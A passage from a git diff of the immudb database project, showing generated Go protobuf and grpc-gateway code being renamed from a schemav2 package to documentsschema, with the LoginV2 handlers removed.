0x72, 0x12, 0x4d, 0x08, 0x02, 0x12, 0x38, 0x41, 0x75, 0x74, + 0x68, 0x65, 0x6e, 0x74, 0x69, 0x63, 0x61, 0x74, 0x69, 0x6f, 0x6e, 0x20, 0x74, 0x6f, 0x6b, 0x65, + 0x6e, 0x2c, 0x20, 0x70, 0x72, 0x65, 0x66, 0x69, 0x78, 0x65, 0x64, 0x20, 0x62, 0x79, 0x20, 0x42, + 0x65, 0x61, 0x72, 0x65, 0x72, 0x3a, 0x20, 0x42, 0x65, 0x61, 0x72, 0x65, 0x72, 0x20, 0x3c, 0x74, + 0x6f, 0x6b, 0x65, 0x6e, 0x3e, 0x1a, 0x0d, 0x41, 0x75, 0x74, 0x68, 0x6f, 0x72, 0x69, 0x7a, 0x61, + 0x74, 0x69, 0x6f, 0x6e, 0x20, 0x02, 0x62, 0x0c, 0x0a, 0x0a, 0x0a, 0x06, 0x62, 0x65, 0x61, 0x72, + 0x65, 0x72, 0x12, 0x00, 0x62, 0x06, 0x70, 0x72, 0x6f, 0x74, 0x6f, 0x33, +} + +var ( + file_documentsschema_proto_rawDescOnce sync.Once + file_documentsschema_proto_rawDescData = file_documentsschema_proto_rawDesc +) + +func file_documentsschema_proto_rawDescGZIP() []byte { + file_documentsschema_proto_rawDescOnce.Do(func() { + file_documentsschema_proto_rawDescData = protoimpl.X.CompressGZIP(file_documentsschema_proto_rawDescData) + }) + return file_documentsschema_proto_rawDescData +} + +var file_documentsschema_proto_enumTypes = make([]protoimpl.EnumInfo, 2) +var file_documentsschema_proto_msgTypes = make([]protoimpl.MessageInfo, 21) +var file_documentsschema_proto_goTypes = []interface{}{ + (QueryOperator)(0), // 0: immudb.documentsschema.QueryOperator + (IndexType)(0), // 1: immudb.documentsschema.IndexType + (*DocumentInsertRequest)(nil), // 2: immudb.documentsschema.DocumentInsertRequest + (*DocumentInsertResponse)(nil), // 3: immudb.documentsschema.DocumentInsertResponse + (*IndexValue)(nil), // 4: immudb.documentsschema.IndexValue + (*DocumentQuery)(nil), // 5: immudb.documentsschema.DocumentQuery + (*DocumentSearchRequest)(nil), // 6: immudb.documentsschema.DocumentSearchRequest + (*DocumentSearchResponse)(nil), // 7: immudb.documentsschema.DocumentSearchResponse + (*IndexOption)(nil), // 8: immudb.documentsschema.IndexOption + (*CollectionCreateRequest)(nil), // 9: immudb.documentsschema.CollectionCreateRequest + (*CollectionCreateResponse)(nil), // 10: immudb.documentsschema.CollectionCreateResponse + (*CollectionInformation)(nil), // 11: immudb.documentsschema.CollectionInformation + (*CollectionGetResponse)(nil), // 12: immudb.documentsschema.CollectionGetResponse + (*CollectionGetRequest)(nil), // 13: immudb.documentsschema.CollectionGetRequest + (*CollectionListRequest)(nil), // 14: immudb.documentsschema.CollectionListRequest + (*CollectionListResponse)(nil), // 15: immudb.documentsschema.CollectionListResponse + (*CollectionDeleteRequest)(nil), // 16: immudb.documentsschema.CollectionDeleteRequest + (*CollectionDeleteResponse)(nil), // 17: immudb.documentsschema.CollectionDeleteResponse + (*Proof)(nil), // 18: immudb.documentsschema.Proof + nil, // 19: immudb.documentsschema.CollectionCreateRequest.PrimaryKeysEntry + nil, // 20: immudb.documentsschema.CollectionCreateRequest.IndexKeysEntry + nil, // 21: immudb.documentsschema.CollectionInformation.PrimaryKeysEntry + nil, // 22: immudb.documentsschema.CollectionInformation.IndexKeysEntry + (*_struct.Struct)(nil), // 23: google.protobuf.Struct + (*schema.VerifiableTx)(nil), // 24: immudb.schema.VerifiableTx + (_struct.NullValue)(0), // 25: google.protobuf.NullValue + (*_struct.Value)(nil), // 26: google.protobuf.Value + (*empty.Empty)(nil), // 27: google.protobuf.Empty +} +var file_documentsschema_proto_depIdxs = []int32{ + 23, // 0: immudb.documentsschema.DocumentInsertRequest.document:type_name -> google.protobuf.Struct + 24, // 1: immudb.documentsschema.DocumentInsertResponse.proof:type_name -> immudb.schema.VerifiableTx + 25, // 2: immudb.documentsschema.IndexValue.null_value:type_name -> google.protobuf.NullValue + 0, // 3: immudb.documentsschema.DocumentQuery.operator:type_name -> immudb.documentsschema.QueryOperator + 26, // 4: immudb.documentsschema.DocumentQuery.value:type_name -> google.protobuf.Value + 5, // 5: immudb.documentsschema.DocumentSearchRequest.query:type_name -> immudb.documentsschema.DocumentQuery + 23, // 6: immudb.documentsschema.DocumentSearchResponse.results:type_name -> google.protobuf.Struct + 1, // 7: immudb.documentsschema.IndexOption.type:type_name -> immudb.documentsschema.IndexType + 19, // 8: immudb.documentsschema.CollectionCreateRequest.primaryKeys:type_name -> immudb.documentsschema.CollectionCreateRequest.PrimaryKeysEntry + 20, // 9: immudb.documentsschema.CollectionCreateRequest.indexKeys:type_name -> immudb.documentsschema.CollectionCreateRequest.IndexKeysEntry + 11, // 10: immudb.documentsschema.CollectionCreateResponse.collection:type_name -> immudb.documentsschema.CollectionInformation + 21, // 11: immudb.documentsschema.CollectionInformation.primaryKeys:type_name -> immudb.documentsschema.CollectionInformation.PrimaryKeysEntry + 22, // 12: immudb.documentsschema.CollectionInformation.indexKeys:type_name -> immudb.documentsschema.CollectionInformation.IndexKeysEntry + 11, // 13: immudb.documentsschema.CollectionGetResponse.collection:type_name -> immudb.documentsschema.CollectionInformation + 11, // 14: immudb.documentsschema.CollectionListResponse.collections:type_name -> immudb.documentsschema.CollectionInformation + 27, // 15: immudb.documentsschema.CollectionDeleteResponse.response:type_name -> google.protobuf.Empty + 8, // 16: immudb.documentsschema.CollectionCreateRequest.PrimaryKeysEntry.value:type_name -> immudb.documentsschema.IndexOption + 8, // 17: immudb.documentsschema.CollectionCreateRequest.IndexKeysEntry.value:type_name -> immudb.documentsschema.IndexOption + 8, // 18: immudb.documentsschema.CollectionInformation.PrimaryKeysEntry.value:type_name -> immudb.documentsschema.IndexOption + 8, // 19: immudb.documentsschema.CollectionInformation.IndexKeysEntry.value:type_name -> immudb.documentsschema.IndexOption + 2, // 20: immudb.documentsschema.DocumentService.DocumentInsert:input_type -> immudb.documentsschema.DocumentInsertRequest + 6, // 21: immudb.documentsschema.DocumentService.DocumentSearch:input_type -> immudb.documentsschema.DocumentSearchRequest + 9, // 22: immudb.documentsschema.DocumentService.CollectionCreate:input_type -> immudb.documentsschema.CollectionCreateRequest + 13, // 23: immudb.documentsschema.DocumentService.CollectionGet:input_type -> immudb.documentsschema.CollectionGetRequest + 14, // 24: immudb.documentsschema.DocumentService.CollectionList:input_type -> immudb.documentsschema.CollectionListRequest + 16, // 25: immudb.documentsschema.DocumentService.CollectionDelete:input_type -> immudb.documentsschema.CollectionDeleteRequest + 3, // 26: immudb.documentsschema.DocumentService.DocumentInsert:output_type -> immudb.documentsschema.DocumentInsertResponse + 7, // 27: immudb.documentsschema.DocumentService.DocumentSearch:output_type -> immudb.documentsschema.DocumentSearchResponse + 10, // 28: immudb.documentsschema.DocumentService.CollectionCreate:output_type -> immudb.documentsschema.CollectionCreateResponse + 12, // 29: immudb.documentsschema.DocumentService.CollectionGet:output_type -> immudb.documentsschema.CollectionGetResponse + 15, // 30: immudb.documentsschema.DocumentService.CollectionList:output_type -> immudb.documentsschema.CollectionListResponse + 17, // 31: immudb.documentsschema.DocumentService.CollectionDelete:output_type -> immudb.documentsschema.CollectionDeleteResponse + 26, // [26:32] is the sub-list for method output_type + 20, // [20:26] is the sub-list for method input_type + 20, // [20:20] is the sub-list for extension type_name + 20, // [20:20] is the sub-list for extension extendee + 0, // [0:20] is the sub-list for field type_name +} + +func init() { file_documentsschema_proto_init() } +func file_documentsschema_proto_init() { + if File_documentsschema_proto != nil { + return + } + if !protoimpl.UnsafeEnabled { + file_documentsschema_proto_msgTypes[0].Exporter = func(v interface{}, i int) interface{} { + switch v := v.(*DocumentInsertRequest); i { + case 0: + return &v.state + case 1: + return &v.sizeCache + case 2: + return &v.unknownFields + default: + return nil + } + } + file_documentsschema_proto_msgTypes[1].Exporter = func(v interface{}, i int) interface{} { + switch v := v.(*DocumentInsertResponse); i { + case 0: + return &v.state + case 1: + return &v.sizeCache + case 2: + return &v.unknownFields + default: + return nil + } + } + file_documentsschema_proto_msgTypes[2].Exporter = func(v interface{}, i int) interface{} { + switch v := v.(*IndexValue); i { + case 0: + return &v.state + case 1: + return &v.sizeCache + case 2: + return &v.unknownFields + default: + return nil + } + } + file_documentsschema_proto_msgTypes[3].Exporter = func(v interface{}, i int) interface{} { + switch v := v.(*DocumentQuery); i { + case 0: + return &v.state + case 1: + return &v.sizeCache + case 2: + return &v.unknownFields + default: + return nil + } + } + file_documentsschema_proto_msgTypes[4].Exporter = func(v interface{}, i int) interface{} { + switch v := v.(*DocumentSearchRequest); i { + case 0: + return &v.state + case 1: + return &v.sizeCache + case 2: + return &v.unknownFields + default: + return nil + } + } + file_documentsschema_proto_msgTypes[5].Exporter = func(v interface{}, i int) interface{} { + switch v := v.(*DocumentSearchResponse); i { + case 0: + return &v.state + case 1: + return &v.sizeCache + case 2: + return &v.unknownFields + default: + return nil + } + } + file_documentsschema_proto_msgTypes[6].Exporter = func(v interface{}, i int) interface{} { + switch v := v.(*IndexOption); i { + case 0: + return &v.state + case 1: + return &v.sizeCache + case 2: + return &v.unknownFields + default: + return nil + } + } + file_documentsschema_proto_msgTypes[7].Exporter = func(v interface{}, i int) interface{} { + switch v := v.(*CollectionCreateRequest); i { + case 0: + return &v.state + case 1: + return &v.sizeCache + case 2: + return &v.unknownFields + default: + return nil + } + } + file_documentsschema_proto_msgTypes[8].Exporter = func(v interface{}, i int) interface{} { + switch v := v.(*CollectionCreateResponse); i { + case 0: + return &v.state + case 1: + return &v.sizeCache + case 2: + return &v.unknownFields + default: + return nil + } + } + file_documentsschema_proto_msgTypes[9].Exporter = func(v interface{}, i int) interface{} { + switch v := v.(*CollectionInformation); i { + case 0: + return &v.state + case 1: + return &v.sizeCache + case 2: + return &v.unknownFields + default: + return nil + } + } + file_documentsschema_proto_msgTypes[10].Exporter = func(v interface{}, i int) interface{} { + switch v := v.(*CollectionGetResponse); i { + case 0: + return &v.state + case 1: + return &v.sizeCache + case 2: + return &v.unknownFields + default: + return nil + } + } + file_documentsschema_proto_msgTypes[11].Exporter = func(v interface{}, i int) interface{} { + switch v := v.(*CollectionGetRequest); i { + case 0: + return &v.state + case 1: + return &v.sizeCache + case 2: + return &v.unknownFields + default: + return nil + } + } + file_documentsschema_proto_msgTypes[12].Exporter = func(v interface{}, i int) interface{} { + switch v := v.(*CollectionListRequest); i { + case 0: + return &v.state + case 1: + return &v.sizeCache + case 2: + return &v.unknownFields + default: + return nil + } + } + file_documentsschema_proto_msgTypes[13].Exporter = func(v interface{}, i int) interface{} { + switch v := v.(*CollectionListResponse); i { + case 0: + return &v.state + case 1: + return &v.sizeCache + case 2: + return &v.unknownFields + default: + return nil + } + } + file_documentsschema_proto_msgTypes[14].Exporter = func(v interface{}, i int) interface{} { + switch v := v.(*CollectionDeleteRequest); i { + case 0: + return &v.state + case 1: + return &v.sizeCache + case 2: + return &v.unknownFields + default: + return nil + } + } + file_documentsschema_proto_msgTypes[15].Exporter = func(v interface{}, i int) interface{} { + switch v := v.(*CollectionDeleteResponse); i { + case 0: + return &v.state + case 1: + return &v.sizeCache + case 2: + return &v.unknownFields + default: + return nil + } + } + file_documentsschema_proto_msgTypes[16].Exporter = func(v interface{}, i int) interface{} { + switch v := v.(*Proof); i { + case 0: + return &v.state + case 1: + return &v.sizeCache + case 2: + return &v.unknownFields + default: + return nil + } + } + } + file_documentsschema_proto_msgTypes[2].OneofWrappers = []interface{}{ + (*IndexValue_NullValue)(nil), + (*IndexValue_NumberValue)(nil), + (*IndexValue_StringValue)(nil), + (*IndexValue_BoolValue)(nil), + } + type x struct{} + out := protoimpl.TypeBuilder{ + File: protoimpl.DescBuilder{ + GoPackagePath: reflect.TypeOf(x{}).PkgPath(), + RawDescriptor: file_documentsschema_proto_rawDesc, + NumEnums: 2, + NumMessages: 21, + NumExtensions: 0, + NumServices: 1, + }, + GoTypes: file_documentsschema_proto_goTypes, + DependencyIndexes: file_documentsschema_proto_depIdxs, + EnumInfos: file_documentsschema_proto_enumTypes, + MessageInfos: file_documentsschema_proto_msgTypes, + }.Build() + File_documentsschema_proto = out.File + file_documentsschema_proto_rawDesc = nil + file_documentsschema_proto_goTypes = nil + file_documentsschema_proto_depIdxs = nil +} diff --git a/pkg/api/schemav2/schemav2.pb.gw.go b/pkg/api/documentsschema/documentsschema.pb.gw.go similarity index 54% rename from pkg/api/schemav2/schemav2.pb.gw.go rename to pkg/api/documentsschema/documentsschema.pb.gw.go index f9cf10c3ae..ff8f03a9eb 100644 --- a/pkg/api/schemav2/schemav2.pb.gw.go +++ b/pkg/api/documentsschema/documentsschema.pb.gw.go @@ -1,12 +1,12 @@ // Code generated by protoc-gen-grpc-gateway. DO NOT EDIT. -// source: schemav2.proto +// source: documentsschema.proto /* -Package schemav2 is a reverse proxy. +Package documentsschema is a reverse proxy. It translates gRPC into RESTful JSON APIs. */ -package schemav2 +package documentsschema import ( "context" @@ -33,41 +33,7 @@ var _ = utilities.NewDoubleArray var _ = descriptor.ForMessage var _ = metadata.Join -func request_ImmuServiceV2_LoginV2_0(ctx context.Context, marshaler runtime.Marshaler, client ImmuServiceV2Client, req *http.Request, pathParams map[string]string) (proto.Message, runtime.ServerMetadata, error) { - var protoReq LoginRequest - var metadata runtime.ServerMetadata - - newReader, berr := utilities.IOReaderFactory(req.Body) - if berr != nil { - return nil, metadata, status.Errorf(codes.InvalidArgument, "%v", berr) - } - if err := marshaler.NewDecoder(newReader()).Decode(&protoReq); err != nil && err != io.EOF { - return nil, metadata, status.Errorf(codes.InvalidArgument, "%v", err) - } - - msg, err := client.LoginV2(ctx, &protoReq, grpc.Header(&metadata.HeaderMD), grpc.Trailer(&metadata.TrailerMD)) - return msg, metadata, err - -} - -func local_request_ImmuServiceV2_LoginV2_0(ctx context.Context, marshaler runtime.Marshaler, server ImmuServiceV2Server, req *http.Request, pathParams map[string]string) (proto.Message, runtime.ServerMetadata, error) { - var protoReq LoginRequest - var metadata runtime.ServerMetadata - - newReader, berr := utilities.IOReaderFactory(req.Body) - if berr != nil { - return nil, metadata, status.Errorf(codes.InvalidArgument, "%v", berr) - } - if err := marshaler.NewDecoder(newReader()).Decode(&protoReq); err != nil && err != io.EOF { - return nil, metadata, status.Errorf(codes.InvalidArgument, "%v", err) - } - - msg, err := server.LoginV2(ctx, &protoReq) - return msg, metadata, err - -} - -func request_ImmuServiceV2_DocumentInsert_0(ctx context.Context, marshaler runtime.Marshaler, client ImmuServiceV2Client, req *http.Request, pathParams map[string]string) (proto.Message, runtime.ServerMetadata, error) { +func request_DocumentService_DocumentInsert_0(ctx context.Context, marshaler runtime.Marshaler, client DocumentServiceClient, req *http.Request, pathParams map[string]string) (proto.Message, runtime.ServerMetadata, error) { var protoReq DocumentInsertRequest var metadata runtime.ServerMetadata @@ -84,7 +50,7 @@ func request_ImmuServiceV2_DocumentInsert_0(ctx context.Context, marshaler runti } -func local_request_ImmuServiceV2_DocumentInsert_0(ctx context.Context, marshaler runtime.Marshaler, server ImmuServiceV2Server, req *http.Request, pathParams map[string]string) (proto.Message, runtime.ServerMetadata, error) { +func local_request_DocumentService_DocumentInsert_0(ctx context.Context, marshaler runtime.Marshaler, server DocumentServiceServer, req *http.Request, pathParams map[string]string) (proto.Message, runtime.ServerMetadata, error) { var protoReq DocumentInsertRequest var metadata runtime.ServerMetadata @@ -101,7 +67,7 @@ func local_request_ImmuServiceV2_DocumentInsert_0(ctx context.Context, marshaler } -func request_ImmuServiceV2_DocumentSearch_0(ctx context.Context, marshaler runtime.Marshaler, client ImmuServiceV2Client, req *http.Request, pathParams map[string]string) (proto.Message, runtime.ServerMetadata, error) { +func request_DocumentService_DocumentSearch_0(ctx context.Context, marshaler runtime.Marshaler, client DocumentServiceClient, req *http.Request, pathParams map[string]string) (proto.Message, runtime.ServerMetadata, error) { var protoReq DocumentSearchRequest var metadata runtime.ServerMetadata @@ -118,7 +84,7 @@ func request_ImmuServiceV2_DocumentSearch_0(ctx context.Context, marshaler runti } -func local_request_ImmuServiceV2_DocumentSearch_0(ctx context.Context, marshaler runtime.Marshaler, server ImmuServiceV2Server, req *http.Request, pathParams map[string]string) (proto.Message, runtime.ServerMetadata, error) { +func local_request_DocumentService_DocumentSearch_0(ctx context.Context, marshaler runtime.Marshaler, server DocumentServiceServer, req *http.Request, pathParams map[string]string) (proto.Message, runtime.ServerMetadata, error) { var protoReq DocumentSearchRequest var metadata runtime.ServerMetadata @@ -135,7 +101,7 @@ func local_request_ImmuServiceV2_DocumentSearch_0(ctx context.Context, marshaler } -func request_ImmuServiceV2_CollectionCreate_0(ctx context.Context, marshaler runtime.Marshaler, client ImmuServiceV2Client, req *http.Request, pathParams map[string]string) (proto.Message, runtime.ServerMetadata, error) { +func request_DocumentService_CollectionCreate_0(ctx context.Context, marshaler runtime.Marshaler, client DocumentServiceClient, req *http.Request, pathParams map[string]string) (proto.Message, runtime.ServerMetadata, error) { var protoReq CollectionCreateRequest var metadata runtime.ServerMetadata @@ -152,7 +118,7 @@ func request_ImmuServiceV2_CollectionCreate_0(ctx context.Context, marshaler run } -func local_request_ImmuServiceV2_CollectionCreate_0(ctx context.Context, marshaler runtime.Marshaler, server ImmuServiceV2Server, req *http.Request, pathParams map[string]string) (proto.Message, runtime.ServerMetadata, error) { +func local_request_DocumentService_CollectionCreate_0(ctx context.Context, marshaler runtime.Marshaler, server DocumentServiceServer, req *http.Request, pathParams map[string]string) (proto.Message, runtime.ServerMetadata, error) { var protoReq CollectionCreateRequest var metadata runtime.ServerMetadata @@ -170,17 +136,17 @@ func local_request_ImmuServiceV2_CollectionCreate_0(ctx context.Context, marshal } var ( - filter_ImmuServiceV2_CollectionGet_0 = &utilities.DoubleArray{Encoding: map[string]int{}, Base: []int(nil), Check: []int(nil)} + filter_DocumentService_CollectionGet_0 = &utilities.DoubleArray{Encoding: map[string]int{}, Base: []int(nil), Check: []int(nil)} ) -func request_ImmuServiceV2_CollectionGet_0(ctx context.Context, marshaler runtime.Marshaler, client ImmuServiceV2Client, req *http.Request, pathParams map[string]string) (proto.Message, runtime.ServerMetadata, error) { +func request_DocumentService_CollectionGet_0(ctx context.Context, marshaler runtime.Marshaler, client DocumentServiceClient, req *http.Request, pathParams map[string]string) (proto.Message, runtime.ServerMetadata, error) { var protoReq CollectionGetRequest var metadata runtime.ServerMetadata if err := req.ParseForm(); err != nil { return nil, metadata, status.Errorf(codes.InvalidArgument, "%v", err) } - if err := runtime.PopulateQueryParameters(&protoReq, req.Form, filter_ImmuServiceV2_CollectionGet_0); err != nil { + if err := runtime.PopulateQueryParameters(&protoReq, req.Form, filter_DocumentService_CollectionGet_0); err != nil { return nil, metadata, status.Errorf(codes.InvalidArgument, "%v", err) } @@ -189,14 +155,14 @@ func request_ImmuServiceV2_CollectionGet_0(ctx context.Context, marshaler runtim } -func local_request_ImmuServiceV2_CollectionGet_0(ctx context.Context, marshaler runtime.Marshaler, server ImmuServiceV2Server, req *http.Request, pathParams map[string]string) (proto.Message, runtime.ServerMetadata, error) { +func local_request_DocumentService_CollectionGet_0(ctx context.Context, marshaler runtime.Marshaler, server DocumentServiceServer, req *http.Request, pathParams map[string]string) (proto.Message, runtime.ServerMetadata, error) { var protoReq CollectionGetRequest var metadata runtime.ServerMetadata if err := req.ParseForm(); err != nil { return nil, metadata, status.Errorf(codes.InvalidArgument, "%v", err) } - if err := runtime.PopulateQueryParameters(&protoReq, req.Form, filter_ImmuServiceV2_CollectionGet_0); err != nil { + if err := runtime.PopulateQueryParameters(&protoReq, req.Form, filter_DocumentService_CollectionGet_0); err != nil { return nil, metadata, status.Errorf(codes.InvalidArgument, "%v", err) } @@ -205,7 +171,7 @@ func local_request_ImmuServiceV2_CollectionGet_0(ctx context.Context, marshaler } -func request_ImmuServiceV2_CollectionList_0(ctx context.Context, marshaler runtime.Marshaler, client ImmuServiceV2Client, req *http.Request, pathParams map[string]string) (proto.Message, runtime.ServerMetadata, error) { +func request_DocumentService_CollectionList_0(ctx context.Context, marshaler runtime.Marshaler, client DocumentServiceClient, req *http.Request, pathParams map[string]string) (proto.Message, runtime.ServerMetadata, error) { var protoReq CollectionListRequest var metadata runtime.ServerMetadata @@ -222,7 +188,7 @@ func request_ImmuServiceV2_CollectionList_0(ctx context.Context, marshaler runti } -func local_request_ImmuServiceV2_CollectionList_0(ctx context.Context, marshaler runtime.Marshaler, server ImmuServiceV2Server, req *http.Request, pathParams map[string]string) (proto.Message, runtime.ServerMetadata, error) { +func local_request_DocumentService_CollectionList_0(ctx context.Context, marshaler runtime.Marshaler, server DocumentServiceServer, req *http.Request, pathParams map[string]string) (proto.Message, runtime.ServerMetadata, error) { var protoReq CollectionListRequest var metadata runtime.ServerMetadata @@ -240,17 +206,17 @@ func local_request_ImmuServiceV2_CollectionList_0(ctx context.Context, marshaler } var ( - filter_ImmuServiceV2_CollectionDelete_0 = &utilities.DoubleArray{Encoding: map[string]int{}, Base: []int(nil), Check: []int(nil)} + filter_DocumentService_CollectionDelete_0 = &utilities.DoubleArray{Encoding: map[string]int{}, Base: []int(nil), Check: []int(nil)} ) -func request_ImmuServiceV2_CollectionDelete_0(ctx context.Context, marshaler runtime.Marshaler, client ImmuServiceV2Client, req *http.Request, pathParams map[string]string) (proto.Message, runtime.ServerMetadata, error) { +func request_DocumentService_CollectionDelete_0(ctx context.Context, marshaler runtime.Marshaler, client DocumentServiceClient, req *http.Request, pathParams map[string]string) (proto.Message, runtime.ServerMetadata, error) { var protoReq CollectionDeleteRequest var metadata runtime.ServerMetadata if err := req.ParseForm(); err != nil { return nil, metadata, status.Errorf(codes.InvalidArgument, "%v", err) } - if err := runtime.PopulateQueryParameters(&protoReq, req.Form, filter_ImmuServiceV2_CollectionDelete_0); err != nil { + if err := runtime.PopulateQueryParameters(&protoReq, req.Form, filter_DocumentService_CollectionDelete_0); err != nil { return nil, metadata, status.Errorf(codes.InvalidArgument, "%v", err) } @@ -259,14 +225,14 @@ func request_ImmuServiceV2_CollectionDelete_0(ctx context.Context, marshaler run } -func local_request_ImmuServiceV2_CollectionDelete_0(ctx context.Context, marshaler runtime.Marshaler, server ImmuServiceV2Server, req *http.Request, pathParams map[string]string) (proto.Message, runtime.ServerMetadata, error) { +func local_request_DocumentService_CollectionDelete_0(ctx context.Context, marshaler runtime.Marshaler, server DocumentServiceServer, req *http.Request, pathParams map[string]string) (proto.Message, runtime.ServerMetadata, error) { var protoReq CollectionDeleteRequest var metadata runtime.ServerMetadata if err := req.ParseForm(); err != nil { return nil, metadata, status.Errorf(codes.InvalidArgument, "%v", err) } - if err := runtime.PopulateQueryParameters(&protoReq, req.Form, filter_ImmuServiceV2_CollectionDelete_0); err != nil { + if err := runtime.PopulateQueryParameters(&protoReq, req.Form, filter_DocumentService_CollectionDelete_0); err != nil { return nil, metadata, status.Errorf(codes.InvalidArgument, "%v", err) } @@ -275,13 +241,13 @@ func local_request_ImmuServiceV2_CollectionDelete_0(ctx context.Context, marshal } -// RegisterImmuServiceV2HandlerServer registers the http handlers for service ImmuServiceV2 to "mux". -// UnaryRPC :call ImmuServiceV2Server directly. +// RegisterDocumentServiceHandlerServer registers the http handlers for service DocumentService to "mux". +// UnaryRPC :call DocumentServiceServer directly. // StreamingRPC :currently unsupported pending https://github.com/grpc/grpc-go/issues/906. -// Note that using this registration option will cause many gRPC library features to stop working. Consider using RegisterImmuServiceV2HandlerFromEndpoint instead. -func RegisterImmuServiceV2HandlerServer(ctx context.Context, mux *runtime.ServeMux, server ImmuServiceV2Server) error { +// Note that using this registration option will cause many gRPC library features to stop working. Consider using RegisterDocumentServiceHandlerFromEndpoint instead. +func RegisterDocumentServiceHandlerServer(ctx context.Context, mux *runtime.ServeMux, server DocumentServiceServer) error { - mux.Handle("POST", pattern_ImmuServiceV2_LoginV2_0, func(w http.ResponseWriter, req *http.Request, pathParams map[string]string) { + mux.Handle("PUT", pattern_DocumentService_DocumentInsert_0, func(w http.ResponseWriter, req *http.Request, pathParams map[string]string) { ctx, cancel := context.WithCancel(req.Context()) defer cancel() var stream runtime.ServerTransportStream @@ -292,7 +258,7 @@ func RegisterImmuServiceV2HandlerServer(ctx context.Context, mux *runtime.ServeM runtime.HTTPError(ctx, mux, outboundMarshaler, w, req, err) return } - resp, md, err := local_request_ImmuServiceV2_LoginV2_0(rctx, inboundMarshaler, server, req, pathParams) + resp, md, err := local_request_DocumentService_DocumentInsert_0(rctx, inboundMarshaler, server, req, pathParams) md.HeaderMD, md.TrailerMD = metadata.Join(md.HeaderMD, stream.Header()), metadata.Join(md.TrailerMD, stream.Trailer()) ctx = runtime.NewServerMetadataContext(ctx, md) if err != nil { @@ -300,11 +266,11 @@ func RegisterImmuServiceV2HandlerServer(ctx context.Context, mux *runtime.ServeM return } - forward_ImmuServiceV2_LoginV2_0(ctx, mux, outboundMarshaler, w, req, resp, mux.GetForwardResponseOptions()...) + forward_DocumentService_DocumentInsert_0(ctx, mux, outboundMarshaler, w, req, resp, mux.GetForwardResponseOptions()...) }) - mux.Handle("PUT", pattern_ImmuServiceV2_DocumentInsert_0, func(w http.ResponseWriter, req *http.Request, pathParams map[string]string) { + mux.Handle("POST", pattern_DocumentService_DocumentSearch_0, func(w http.ResponseWriter, req *http.Request, pathParams map[string]string) { ctx, cancel := context.WithCancel(req.Context()) defer cancel() var stream runtime.ServerTransportStream @@ -315,7 +281,7 @@ func RegisterImmuServiceV2HandlerServer(ctx context.Context, mux *runtime.ServeM runtime.HTTPError(ctx, mux, outboundMarshaler, w, req, err) return } - resp, md, err := local_request_ImmuServiceV2_DocumentInsert_0(rctx, inboundMarshaler, server, req, pathParams) + resp, md, err := local_request_DocumentService_DocumentSearch_0(rctx, inboundMarshaler, server, req, pathParams) md.HeaderMD, md.TrailerMD = metadata.Join(md.HeaderMD, stream.Header()), metadata.Join(md.TrailerMD, stream.Trailer()) ctx = runtime.NewServerMetadataContext(ctx, md) if err != nil { @@ -323,11 +289,11 @@ func RegisterImmuServiceV2HandlerServer(ctx context.Context, mux *runtime.ServeM return } - forward_ImmuServiceV2_DocumentInsert_0(ctx, mux, outboundMarshaler, w, req, resp, mux.GetForwardResponseOptions()...) + forward_DocumentService_DocumentSearch_0(ctx, mux, outboundMarshaler, w, req, resp, mux.GetForwardResponseOptions()...) }) - mux.Handle("POST", pattern_ImmuServiceV2_DocumentSearch_0, func(w http.ResponseWriter, req *http.Request, pathParams map[string]string) { + mux.Handle("PUT", pattern_DocumentService_CollectionCreate_0, func(w http.ResponseWriter, req *http.Request, pathParams map[string]string) { ctx, cancel := context.WithCancel(req.Context()) defer cancel() var stream runtime.ServerTransportStream @@ -338,7 +304,7 @@ func RegisterImmuServiceV2HandlerServer(ctx context.Context, mux *runtime.ServeM runtime.HTTPError(ctx, mux, outboundMarshaler, w, req, err) return } - resp, md, err := local_request_ImmuServiceV2_DocumentSearch_0(rctx, inboundMarshaler, server, req, pathParams) + resp, md, err := local_request_DocumentService_CollectionCreate_0(rctx, inboundMarshaler, server, req, pathParams) md.HeaderMD, md.TrailerMD = metadata.Join(md.HeaderMD, stream.Header()), metadata.Join(md.TrailerMD, stream.Trailer()) ctx = runtime.NewServerMetadataContext(ctx, md) if err != nil { @@ -346,11 +312,11 @@ func RegisterImmuServiceV2HandlerServer(ctx context.Context, mux *runtime.ServeM return } - forward_ImmuServiceV2_DocumentSearch_0(ctx, mux, outboundMarshaler, w, req, resp, mux.GetForwardResponseOptions()...) + forward_DocumentService_CollectionCreate_0(ctx, mux, outboundMarshaler, w, req, resp, mux.GetForwardResponseOptions()...) }) - mux.Handle("PUT", pattern_ImmuServiceV2_CollectionCreate_0, func(w http.ResponseWriter, req *http.Request, pathParams map[string]string) { + mux.Handle("GET", pattern_DocumentService_CollectionGet_0, func(w http.ResponseWriter, req *http.Request, pathParams map[string]string) { ctx, cancel := context.WithCancel(req.Context()) defer cancel() var stream runtime.ServerTransportStream @@ -361,7 +327,7 @@ func RegisterImmuServiceV2HandlerServer(ctx context.Context, mux *runtime.ServeM runtime.HTTPError(ctx, mux, outboundMarshaler, w, req, err) return } - resp, md, err := local_request_ImmuServiceV2_CollectionCreate_0(rctx, inboundMarshaler, server, req, pathParams) + resp, md, err := local_request_DocumentService_CollectionGet_0(rctx, inboundMarshaler, server, req, pathParams) md.HeaderMD, md.TrailerMD = metadata.Join(md.HeaderMD, stream.Header()), metadata.Join(md.TrailerMD, stream.Trailer()) ctx = runtime.NewServerMetadataContext(ctx, md) if err != nil { @@ -369,11 +335,11 @@ func RegisterImmuServiceV2HandlerServer(ctx context.Context, mux *runtime.ServeM return } - forward_ImmuServiceV2_CollectionCreate_0(ctx, mux, outboundMarshaler, w, req, resp, mux.GetForwardResponseOptions()...) + forward_DocumentService_CollectionGet_0(ctx, mux, outboundMarshaler, w, req, resp, mux.GetForwardResponseOptions()...) }) - mux.Handle("GET", pattern_ImmuServiceV2_CollectionGet_0, func(w http.ResponseWriter, req *http.Request, pathParams map[string]string) { + mux.Handle("POST", pattern_DocumentService_CollectionList_0, func(w http.ResponseWriter, req *http.Request, pathParams map[string]string) { ctx, cancel := context.WithCancel(req.Context()) defer cancel() var stream runtime.ServerTransportStream @@ -384,7 +350,7 @@ func RegisterImmuServiceV2HandlerServer(ctx context.Context, mux *runtime.ServeM runtime.HTTPError(ctx, mux, outboundMarshaler, w, req, err) return } - resp, md, err := local_request_ImmuServiceV2_CollectionGet_0(rctx, inboundMarshaler, server, req, pathParams) + resp, md, err := local_request_DocumentService_CollectionList_0(rctx, inboundMarshaler, server, req, pathParams) md.HeaderMD, md.TrailerMD = metadata.Join(md.HeaderMD, stream.Header()), metadata.Join(md.TrailerMD, stream.Trailer()) ctx = 